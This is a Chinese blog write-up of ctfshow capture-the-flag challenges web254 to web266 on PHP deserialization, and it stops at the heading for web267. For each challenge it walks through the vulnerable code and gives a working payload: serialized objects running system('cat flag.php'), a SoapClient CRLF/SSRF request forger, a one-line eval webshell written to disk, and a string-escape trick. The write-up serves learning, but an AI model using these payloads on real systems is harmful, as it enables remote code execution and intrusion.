前言

重新开一篇啦,上一篇已经太长了,继续学习了…

反序列化(254-278)

常见的魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__construct(),类的构造函数

__destruct(),类的析构函数

__call(),在对象中调用一个不可访问方法时调用

__callStatic(),用静态方式中调用一个不可访问方法时调用

__get(),获得一个类的成员变量时调用

__set(),设置一个类的成员变量时调用

__isset(),当对不可访问属性调用isset()或empty()时调用

__unset(),当对不可访问属性调用unset()时被调用。

__sleep(),执行serialize()时,先会调用这个函数

__wakeup(),执行unserialize()时,先会调用这个函数

__toString(),类被当成字符串时的回应方法

__invoke(),调用函数的方式调用一个对象时的回应方法

__set_state(),调用var_export()导出类时,此静态方法会被调用。

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

注意点:当访问控制修饰符(public、protected、private)不同时,序列化后的结果也不同

1
2
3
4

public 被序列化的时候属性名 不会更改
protected 被序列化的时候属性名 会变成 %00*%00属性名
private 被序列化的时候属性名 会变成 %00类名%00属性名

web254

这题倒是和反序列化没什么关系,主要是看类的调用吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

传入两个get参数,分别是usernamepassword,然后用new实例化ctfShowUser这个类,接着调用login这个方法,可以看到如果用户名和密码都正确的话就把true赋值给isVip,然后就是进入checkVipvipOneKeyGetFlag方法获得flag。所以payload为

1
?username=xxxxxx&password=xxxxxx

web255

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

这题和上一题的区别是在类里面没有对isVip属性进行赋值true,所以我们需要想办法把isVip赋值成true才能获得flag;观察可以看到会对cookie中的user进行反序列化,所以这里是一个漏洞点,我们可以往这里传入序列化的字符串,通过反序列化把isVip赋值成true。
本地新建一个php文件,对类ctfShowUser赋值,然后进行序列化

1
2
3
4
5
6
7
8
9
10
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}

$a = new ctfShowUser();
echo serialize($a);
?>


运行后得到

1
O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;}

记得用bp的话要进行一个url编码

web256

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
 <?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

和上一题差不多,只是在获取flag的时候多了一层判断,即用户名和密码不一样,我们自己序列化的时候改一下账号和密码就好了

1
2
3
4
5
6
7
8
9
10
<?php
class ctfShowUser{
public $username='dotast';
public $password='123456';
public $isVip=true;
}

$a = new ctfShowUser();
echo serialize($a);
?>

运行后得到

1
O:11:"ctfShowUser":3:{s:8:"username";s:6:"dotast";s:8:"password";s:6:"123456";s:5:"isVip";b:1;}

web257

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
 <?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}

这次多了几个类,还是先观察ctfShowUser类,反序列化的时候会先实例化info这个类,接着再销毁的时候调用类中的getInfo方法;很显然调用的是类info中的getInfo方法,而我们需要调用类backDoor中的getInfo方法,因为其中含有eval可以命令执行。所以我们把本来调用的类改成backDoor,payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class ctfShowUser{
private $class='backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code='system("cat flag.php");';
}

$a = new ctfShowUser();
echo urlencode(serialize($a));
?>

运行后得到

1
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D

web258

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
 <?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}

在上一题的基础上对输入做了正则过滤

在数字前面加一个+号即可绕过正则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class ctfShowUser{
public $class='backDoor';
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='system("cat flag.php");';
}

$a = new ctfShowUser();
echo serialize($a)."\n";
echo urlencode(serialize($a));

?>

运行后得到

1
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D

加上+号,需要url编码

1
O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D

web259

这题知识点也在我盲区之外,跟着合天的一篇文章学习:https://zhuanlan.zhihu.com/p/80918004 ,接下来我的很长,你忍一下~

SoapClient

SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP是一

种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息),其次我们知道某个实例化的类,如果

去调用了一个不存在的函数,会去调用 __call 方法

调用不存在的方法,使SoapClient类去调用__call方法

1
2
3
4
5
6
<?php
$a = new SoapClient(null,array('uri'=>'aaa', 'location'=>'http://127.0.0.1:5555/path'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->dotast();


CRLF漏洞

CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS

在上面的图中,我们可以看到,SOAPAction是可控的点,我们注入两个\r\n来控制POST请求头

1
2
3
4
5
6
<?php
$a = new SoapClient(null,array('uri'=>"aaa\r\n\r\nbbb\r\n", 'location'=>'http://127.0.0.1:5555/path'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->dotast();

执行后可以看到成功控制了请求头


但还有一个问题需要解决,POST数据指定请求头为Content-Type:application/x-www-form-urlencoded,我们需要控制Content-Type,但从上图中可以发现它位于SOAPAtion上方。
继续往上,可以发现User-Agent位于Content-Type上方,这个位置也可以进行注入,所以我们再User-Agent进行注入

1
2
3
4
5
6
7
<?php
$post_string = "dotast=cool";
$a = new SoapClient(null,array('location'=>'http://127.0.0.1:5555/path', 'user_agent'=>"dotast\r\nContent-Type:application/x-www-form-urlencoded\r\n"."Content-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string, 'uri'=>"aaa"));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->dotast();



如图,构造任意post请求成功!到此,一系列流程都弄懂后,我们回到题目本身
flag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

index.php

1
2
3
4
5
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

相关参数都给足了,利用ssrf访问flag.php,然后构造post数据token=ctfshow还有xff请求头,paylaod如下

1
2
3
4
5
<?php
$post_string = "token=ctfshow";
$a = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php', 'user_agent'=>"dotast\r\nContent-Type:application/x-www-form-urlencoded\r\n"."X-Forwarded-For: 127.0.0.1,127.0.0.1\r\n"."Content-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string, 'uri'=>"aaa"));
$b = serialize($a);
echo urlencode($b);

这里X-Forwarded-For里面需要两个127.0.0.1的原因是docker环境cloudfare代理所导致,具体可参考这篇文章:

1
https://support.cloudflare.com/hc/zh-cn/articles/200170986-Cloudflare-%E5%A6%82%E4%BD%95%E5%A4%84%E7%90%86-HTTP-%E8%AF%B7%E6%B1%82%E6%A0%87%E5%A4%B4-

运行php
get参数vip传入
再访问flag.txt就有了

web260

水题吧这是…

1
2
3
4
5
6
7
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}

直接传?ctfshow=/ctfshow_i_love_36D/就出flag

web261

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 <?php

highlight_file(__FILE__);

class ctfshowvip{
public $username;
public $password;
public $code;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}

public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);

观察代码,可以发现__invoke有命令执行,__destruct有文件写入;注意到有一个__unserialize魔术方法

显然

如果 __unserialize()__wakeup()两个魔术方法都定义在用一个对象中, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

所以我们只用观察__unserialize魔术方法,可以发现将传进的usernamepassword会拼接到code中,而在__destruct中会判断code,接着写入文件
很明显这里是一个弱比较,直接构造payload

1
2
3
4
5
6
7
8
<?php
class ctfshowvip{
//0x36d等于十进制877
public $username = "877.php";
public $password = '<?php @eval($_POST[dotast]);?>';
}
$a = new ctfshowvip();
echo urlencode(serialize($a));

执行后直接传入

1
?vip=O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A30%3A%22%3C%3Fphp+%40eval%28%24_POST%5Bdotast%5D%29%3B%3F%3E%22%3B%7D

写入webshell之后,去获取flag

web262

本题考的是一个简单的反序列化字符串逃逸,在看题之前,我们简单了解一下知识点,我们先看一段代码

1
2
3
4
5
6
7
8
<?php
class test{
public $username = "user";
public $password = "user";
}
$a = new test();
$b = serialize($a);
var_dump($b);

运行后

1
string(67) "O:4:"test":2:{s:8:"username";s:4:"user";s:8:"password";s:4:"user";}"

如果我们构造user中的内容,即

1
2
$c = 'O:4:"test":2:{s:8:"username";s:4:"user";s:8:"password";s:4:"test";}user";}';
var_dump(unserialize($c));


很显然,user被替换成了test,而后面的user";}则被忽略

再回到题目本身

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);

注释提示了message.php,我们再访问一下message.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
 <?php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

梳理一下代码逻辑,有一个正则会把传入的序列化内容中的fuck替换成loveU,也就是长度从4变成了5,我们可以操作的内容就多了一位,并且只要message类中的token的值为admin,就会输出flag,所以我们的payload需要如下形式

1
";s:5:"token";s:5:"admin";}

构造的payload长度一共27位,所以我们需要输入27个fuck来获得额外的27个长度,以达到填充我们的字符的目的,最后payload如下

1
?f=123&m=123&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后再访问message.php就可以输入flag

web263

访问www.zip下载得到源码,观察关键代码
index.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
?>

inc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}

显然,cookie中的limit进行base64解码之后传入session中,之后调用inc中的User类,并且其中这个User类中存在文件写入函数,所以写入一句话即可,payload如下

1
2
3
4
5
6
7
8
9
<?php
class User{
public $username = 'dotast.php';
public $password = '<?php system("tac flag.php");?>';
public $status='dotast';

}
$a=new User();
echo base64_encode('|'.serialize($a));

运行后得到

1
fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czoxMDoiZG90YXN0LnBocCI7czo4OiJwYXNzd29yZCI7czozMToiPD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/PiI7czo2OiJzdGF0dXMiO3M6NjoiZG90YXN0Ijt9

然后存进cookie中,带着cookie去访问index.php,接着访问inc/inc.php,然后就会生成文件log-dotast.php,直接写一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/9/2 16:01
# blog: www.wlhhlc.top
import requests
url = "http://06573677-b16d-4788-a60d-2f244b945cd1.challenge.ctf.show:8080/"
cookies = {"PHPSESSID": "g3us2rlfsn3q3fkahcja154gs8", "limit": "fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czoxMDoiZG90YXN0LnBocCI7czo4OiJwYXNzd29yZCI7czozMToiPD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/PiI7czo2OiJzdGF0dXMiO3M6NjoiZG90YXN0Ijt9"}
res1 = requests.get(url + "index.php", cookies=cookies)

res2 = requests.get(url + "inc/inc.php", cookies=cookies)

res3 = requests.get(url + "log-dotast.php", cookies=cookies)
print(res3.text)

运行后即可获取flag

web264

和web262差不多,用之前的payload打,不过访问message.php的时候需要coookie中的msg有值,因为message.php有如下判断

1
2
3
4
5
6
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

payload

1
?f=123&m=123&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

访问message.php

web265

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;

public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
echo $flag;
}

看了一下代码逻辑,很显然,$ctfshow接收传进来的反序列化内容,然后把类中的token赋值为随机数。然后调用login方法,只有token===password才会输出flag;而我们怎么才能定义password的内容等于我们未知的随机数呢?我们可以采用php变量引用的方式

1
2
3
<?php
$a =&$b;
?>

注意:$a和$b是指向同一个地方,而不是$a指向了$b,亦或$b指向$a

所以payload为

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class ctfshowAdmin{
public $token = "dotast";
public $password = "dotast";

public function login(){
return $this->token===$this->password;
}
}

$a = new ctfshowAdmin();
$a ->token=&$a ->password;
echo urlencode(serialize($a));

web266

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 <?php
highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}

这题的话只要绕一个正则就行,绕过了自然在结束的时候触发__destruct魔术方法输出flag。有的同学问这里怎么传参,还不知道的同学该去复习一下文件包含专题啦。

1
2
3
4
5
6
7
8
9
10
11
<?php
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function login(){
return $this->username===$this->password;
}
}

$a = serialize(new ctfshow());
echo $a;

运行后得到

1
O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

ctfshow随便一个字母改成大写,绕过正则

web267